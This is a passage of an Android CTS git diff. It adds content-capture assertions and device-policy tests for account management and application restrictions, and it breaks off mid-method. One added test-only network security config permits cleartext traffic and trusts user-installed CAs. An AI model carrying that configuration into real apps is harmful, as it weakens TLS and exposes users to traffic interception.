+        assertWithMessage("event %s should not have a ViewNode", event)
+                .that(event.getViewNode()).isNull();
+        assertWithMessage("event %s should not have text", event)
+                .that(event.getText()).isNull();
+    }
+
+    @Nullable
+    private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView) {
+        return assertViewEvent(event, expectedView, /* expectedParentId */ null);
+    }
+
+    @Nullable
+    private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView,
+            @Nullable AutofillId expectedParentId) {
+        assertEvent(event, expectedView, expectedParentId, /* expectedText */  null);
+        return null;
+    }
+
+    @Nullable
+    private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView,
+            AutofillId expectedParentId, String expectedText) {
+        assertEvent(event, expectedView, expectedParentId, expectedText);
+        return null;
+    }
+
+    private String assertEventId(@NonNull ContentCaptureEvent event, View expectedView) {
+        final ViewNode node = event.getViewNode();
+
+        if (node == null) {
+            return String.format("node is null at %s", event);
+        }
+
+        if (expectedView != null && !node.getAutofillId().equals(expectedView.getAutofillId())) {
+            return String.format("wrong event id (expected %s, actual is %s) at %s",
+                    expectedView.getAutofillId(), node.getAutofillId(), event);
+        }
+        return null;
+    }
+
+    private String assertEventText(@NonNull ContentCaptureEvent event, String expectedText) {
+        final ViewNode node = event.getViewNode();
+        if (node == null) {
+            return String.format("node is null at %s", event);
+        }
+
+        if (!TextUtils.equals(node.getText(), expectedText)) {
+            return String.format("wrong event text (expected %s, actual is %s) at %s",
+                    expectedText, node.getText(), event);
+        }
+        return null;
+    }
+
+    private void assertEvent(@NonNull ContentCaptureEvent event, @Nullable View expectedView,
+            @Nullable AutofillId expectedParentId, @Nullable String expectedText) {
+        final ViewNode node = event.getViewNode();
+
+        assertThat(node).isNotNull();
+        assertWithMessage("wrong class on %s", event).that(node.getClassName())
+                .isEqualTo(expectedView.getClass().getName());
+        assertWithMessage("wrong autofill id on %s", event).that(node.getAutofillId())
+                .isEqualTo(expectedView.getAutofillId());
+
+        if (expectedParentId != null) {
+            assertWithMessage("wrong parent autofill id on %s", event)
+                    .that(node.getParentAutofillId()).isEqualTo(expectedParentId);
+        }
+
+        if (expectedText != null) {
+            assertWithMessage("wrong text on %s", event).that(node.getText().toString())
+                    .isEqualTo(expectedText);
+        }
+    }
+
+    @Nullable
+    private String assertSessionLevelEvent(@NonNull ContentCaptureEvent event) {
+        assertWithMessage("event %s should not have a ViewNode", event)
+                .that(event.getViewNode()).isNull();
+        assertWithMessage("event %s should not have text", event)
+                .that(event.getText()).isNull();
+        assertWithMessage("event %s should not have an autofillId", event)
+                .that(event.getId()).isNull();
+        assertWithMessage("event %s should not have autofillIds", event)
+                .that(event.getIds()).isNull();
+        return null;
+    }
+
+    private void assertNextEvent(@NonNull EventAssertion assertion, int expectedType,
+            @NonNull String errorFormat, @Nullable Object... errorArgs) {
+        if (mNextEvent >= mEvents.size()) {
+            throw new AssertionError("Reached the end of the events: "
+                    + String.format(errorFormat, errorArgs) + "\n. Events("
+                    + mEvents.size() + "): " + mEvents);
+        }
+        do {
+            final int index = mNextEvent++;
+            final ContentCaptureEvent event = mEvents.get(index);
+            if (event.getType() != expectedType) {
+                Log.w(TAG, "assertNextEvent(): ignoring event #" + index + "(" + event + ")");
+                continue;
+            }
+            // If returns an error message from getErrorMessage(), means the error can be ignored.
+            // The test will assert nex event.
+            // If directly throws AssertionError or exception, means the error cannot be ignored.
+            // The test will stop immediately.
+            final String error = assertion.getErrorMessage(event);
+            if (error == null) {
+                Log.d(TAG, "assertNextEvent(): match event in #" + index + ".");
+                return;
+            }
+            Log.w(TAG, "assertNextEvent(): ignoring event #" + index + "(" + event + "): "
+                    + error);
+        } while (mNextEvent < mEvents.size());
+        throw new AssertionError(String.format(errorFormat, errorArgs) + "\n. Events("
+                + mEvents.size() + "): " + mEvents);
+    }
+
+    private interface EventAssertion {
+        @Nullable
+        String getErrorMessage(@NonNull ContentCaptureEvent event);
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index 90733e3..acd5dc8 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -30,6 +30,7 @@
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
+import static android.contentcaptureservice.cts.Assertions.assertWindowBoundsChanged;
 import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
 import static android.contentcaptureservice.cts.Helper.newImportantView;
 import static android.view.contentcapture.DataRemovalRequest.FLAG_IS_PREFIX;
@@ -227,6 +228,9 @@
         assertMainSessionContext(mainSession, activity);
 
         // Check events
+        final List<ContentCaptureEvent> unfilteredEvents = mainSession.getUnfilteredEvents();
+        assertWindowBoundsChanged(unfilteredEvents);
+
         final List<ContentCaptureEvent> mainEvents = mainSession.getEvents();
         Log.v(TAG, "events(" + mainEvents.size() + ") for main session: " + mainEvents);
 
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index 79b958c..638eb77 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -18,10 +18,11 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.devicepolicy.cts"
           android:targetSandboxVersion="2">
-
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:testOnly="true">
+    <!-- Add a network security config that trusts user added CAs for tests -->
+    <application android:testOnly="true"
+                 android:networkSecurityConfig="@xml/network_security_config">
         <uses-library android:name="android.test.runner" />
 
         <activity android:name=".MainActivity"
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 1e16d2e..ff1cf64 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -22,6 +22,9 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="multiuser" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunOnSystemUserTargetPreparer"/>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="install-arg" value="-t" />
@@ -32,5 +35,7 @@
         <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
         <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
         <option name="hidden-api-checks" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/devicepolicy/OWNERS b/tests/devicepolicy/OWNERS
index b37176e..19b6194 100644
--- a/tests/devicepolicy/OWNERS
+++ b/tests/devicepolicy/OWNERS
@@ -1,7 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml b/tests/devicepolicy/res/xml/network_security_config.xml
similarity index 75%
copy from common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml
copy to tests/devicepolicy/res/xml/network_security_config.xml
index 571f8cf..de3cdfa 100644
--- a/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml
+++ b/tests/devicepolicy/res/xml/network_security_config.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2021 The Android Open Source Project
   ~
@@ -16,9 +15,10 @@
   ~ limitations under the License.
   -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc">
-    <uses-sdk android:minSdkVersion="27" />
-    <application>
-    </application>
-</manifest>
+<network-security-config>
+    <base-config cleartextTrafficPermitted="true">
+        <trust-anchors>
+            <certificates src="user" />
+        </trust-anchors>
+    </base-config>
+</network-security-config>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
new file mode 100644
index 0000000..1b1eb9c
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+import static com.android.queryable.queries.ServiceQuery.service;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.accounts.OperationCanceledException;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.UserManager;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.AccountManagement;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class AccountManagementTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sAccountManagementApp = sTestAppProvider
+            .query()
+            // TODO(b/198590265) Filter for the correct account type.
+            .whereServices().contains(
+                    service().intentFilters().contains(
+                            intentFilter().actions().contains(
+                                    "android.accounts.AccountAuthenticator"))
+                    )
+            .get();
+    private static final String EXISTING_ACCOUNT_TYPE =
+            "com.android.bedstead.testapp.AccountManagementApp.account.type";
+    private static final String FAKE_ACCOUNT_TYPE = "com.placeholder.account";
+    private static final Account ACCOUNT_WITH_EXISTING_TYPE
+            = new Account("user0", EXISTING_ACCOUNT_TYPE);
+
+    private ComponentName mAdmin;
+    private RemoteDevicePolicyManager mDpm;
+    private AccountManager mAccountManager;
+
+    @Before
+    public void setUp() {
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
+        mDpm = dpc.devicePolicyManager();
+        mAccountManager = sContext.getSystemService(AccountManager.class);
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = AccountManagement.class)
+    public void getAccountTypesWithManagementDisabled_emptyByDefault() {
+        assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = AccountManagement.class, includeNonDeviceAdminStates = false)
+    public void setAccountTypesWithManagementDisabled_invalidAdmin_throwsException() {
+        assertThrows(OperationCanceledException.class, () ->
+                mDpm.setAccountManagementDisabled(
+                        mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ false));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class, singleTestOnly = true)
+    public void setAccountTypesWithManagementDisabled_nullAdmin_throwsException() {
+        assertThrows(NullPointerException.class, () ->
+                mDpm.setAccountManagementDisabled(
+                        /* admin= */ null, FAKE_ACCOUNT_TYPE, /* disabled= */ false));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = AccountManagement.class)
+    public void setAccountManagementDisabled_disableAccountType_works() {
+        try {
+            mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ true);
+
+            assertThat(mDpm.getAccountTypesWithManagementDisabled().length).isEqualTo(1);
+            assertThat(mDpm.getAccountTypesWithManagementDisabled()[0])
+                    .isEqualTo(FAKE_ACCOUNT_TYPE);
+        } finally {
+            mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ false);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = AccountManagement.class)
+    public void setAccountManagementDisabled_addSameAccountTypeTwice_presentOnlyOnce() {
+        try {
+            mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ true);
+            mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ true);
+
+            assertThat(mDpm.getAccountTypesWithManagementDisabled().length).isEqualTo(1);
+            assertThat(mDpm.getAccountTypesWithManagementDisabled()[0])
+                    .isEqualTo(FAKE_ACCOUNT_TYPE);
+        } finally {
+            mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ false);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void setAccountManagementDisabled_disableThenEnable_noDisabledAccountTypes() {
+        mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ true);
+        mDpm.setAccountManagementDisabled(mAdmin, FAKE_ACCOUNT_TYPE, /* disabled= */ false);
+
+        assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
+            throws Exception {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
+
+            // Management is disabled, but the DO/PO is still allowed to use the APIs
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
+        } finally {
+            mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
+            throws Exception {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
+
+            // Management is disabled, but the DO/PO is still allowed to use the APIs
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
+        } finally {
+            mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
+            throws Exception {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+
+            // Management is disabled, but the DO/PO is still allowed to use the APIs
+            addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+            Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
+
+            assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+        } finally {
+            mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+
+            assertThrows(OperationCanceledException.class, () ->
+                    addAccountWithTypeOnce(EXISTING_ACCOUNT_TYPE));
+        } finally {
+            mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
+            throws Exception {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
+            mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+
+            assertThrows(OperationCanceledException.class, () ->
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
+        } finally {
+            // Account is automatically removed when the test app is removed
+            mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void addAccount_withAccountManagementDisabled_throwsException() {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
+
+            assertThrows(OperationCanceledException.class, () ->
+                    addAccountWithTypeOnce(EXISTING_ACCOUNT_TYPE));
+        } finally {
+            mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = AccountManagement.class)
+    public void removeAccount_withAccountManagementDisabled_throwsException()
+            throws Exception {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
+            mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
+
+            assertThrows(OperationCanceledException.class, () ->
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
+        } finally {
+            // Account is automatically removed when the test app is removed
+            mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
+        }
+    }
+
+    /**
+     * Blocks until an account of {@code type} is added.
+     */
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountFromInstrumentedAppWithType(String type) {
+        return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
+                .toNotBeNull()
+                .errorOnFail()
+                .await();
+    }
+
+    /**
+     * Blocks until an account of {@code type} is added.
+     */
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+        return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+                .toNotBeNull()
+                .errorOnFail()
+                .await();
+    }
+
+    private Bundle addAccountWithTypeOnce(String type) throws Exception {
+        return mAccountManager.addAccount(
+                type,
+                /* authTokenType= */ null,
+                /* requiredFeatures= */ null,
+                /* addAccountOptions= */ null,
+                /* activity= */ null,
+                /* callback= */ null,
+                /* handler= */ null).getResult();
+    }
+
+    private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+            throws Exception {
+        return testApp.accountManager().addAccount(
+                type,
+                /* authTokenType= */ null,
+                /* requiredFeatures= */ null,
+                /* addAccountOptions= */ null,
+                /* activity= */ null,
+                /* callback= */ null,
+                /* handler= */ null).getResult();
+    }
+
+    /**
+     * Blocks until {@code account} is removed.
+     */
+    private Bundle removeAccountFromInstrumentedApp(Account account)
+            throws Exception {
+        return mAccountManager.removeAccount(
+                account,
+                /* activity= */ null,
+                /* callback= */  null,
+                /* handler= */ null)
+                .getResult();
+    }
+
+    /**
+     * Blocks until {@code account} is removed.
+     */
+    private Bundle removeAccount(TestAppInstance testApp, Account account)
+            throws Exception {
+        return testApp.accountManager().removeAccount(
+                account,
+                /* activity= */ null,
+                /* callback= */  null,
+                /* handler= */ null)
+                .getResult();
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java b/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java
index f7eb651..27dbf44 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java
@@ -24,19 +24,17 @@
 import android.permission.AdminPermissionControlParams;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
-import com.android.bedstead.harrier.annotations.Postsubmit;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(BedsteadJUnit4.class)
-public class AdminPermissionControlParamsTests {
+public final class AdminPermissionControlParamsTests {
     private static final String PKG = "somePackage";
     private static final String PERMISSION = "somePackage";
     private static final int GRANT_STATE = DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
     private static final boolean CAN_ADMIN_GRANT = true;
 
-    @Postsubmit(reason="new test")
     @Test
     public void gettersReturnConstructorValue() {
         AdminPermissionControlParams params = createViaParcel(
@@ -48,7 +46,6 @@
         assertThat(params.canAdminGrantSensorsPermissions()).isEqualTo(CAN_ADMIN_GRANT);
     }
 
-    @Postsubmit(reason="new test")
     @Test
     public void correctParcelingAndUnparceling() {
         AdminPermissionControlParams params = createViaParcel();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
new file mode 100644
index 0000000..0c054e3
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
@@ -0,0 +1,464 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.devicepolicy.cts;
+
+import static android.content.Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED;
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.stats.devicepolicy.EventId;
+import android.util.Log;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.ApplicationRestrictions;
+import com.android.bedstead.harrier.policies.ApplicationRestrictionsManagingPackage;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(BedsteadJUnit4.class)
+public final class ApplicationRestrictionsTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+    private static final String TAG = ApplicationRestrictionsTest.class.getSimpleName();
+    private static final String[] TEST_STRINGS = new String[]{
+            "<bad/>",
+            ">worse!\"£$%^&*()'<",
+            "<JSON>\"{ \\\"One\\\": { \\\"OneOne\\\": \\\"11\\\", \\\""
+                    + "OneTwo\\\": \\\"12\\\" }, \\\"Two\\\": \\\"2\\\" } <JSON/>\""
+    };
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+
+    private static final TestApp sTestApp = sTestAppProvider.any();
+    private static final TestApp sDifferentTestApp = sTestAppProvider.any();
+
+    // Should be consistent with assertEqualToBundle
+    private static Bundle createBundle(String id) {
+        Bundle result = new Bundle();
+        // Tests for 6 allowed types: Integer, Boolean, String, String[], Bundle and Parcelable[]
+        // Also test for string escaping handling
+        result.putBoolean("boolean_0", false);
+        result.putBoolean("boolean_1", true);
+        result.putInt("integer", 0xfffff);
+        // If a null is stored, "" will be read back
+        result.putString("empty", "");
+        result.putString("string", id);
+        result.putStringArray("string[]", TEST_STRINGS);
+
+        // Adding a bundle, which contain 2 nested restrictions - bundle_string and bundle_int
+        Bundle bundle = new Bundle();
+        bundle.putString("bundle_string", "bundle_string");
+        bundle.putInt("bundle_int", 1);
+        result.putBundle("bundle", bundle);
+
+        // Adding an array of 2 bundles
+        Bundle[] bundleArray = new Bundle[2];
+        bundleArray[0] = new Bundle();
+        bundleArray[0].putString("bundle_array_string", "bundle_array_string");
+        // Put bundle inside bundle
+        bundleArray[0].putBundle("bundle_array_bundle", bundle);
+        bundleArray[1] = new Bundle();
+        bundleArray[1].putString("bundle_array_string2", "bundle_array_string2");
+        result.putParcelableArray("bundle_array", bundleArray);
+        return result;
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_applicationRestrictionsAreSet() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_applicationRestrictionsAreSet");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertEqualToBundle("setApplicationRestrictions_applicationRestrictionsAreSet",
+                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            new Bundle());
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertEqualToBundle("setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions",
+                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions() {
+        Bundle originalApplicationRestrictions =
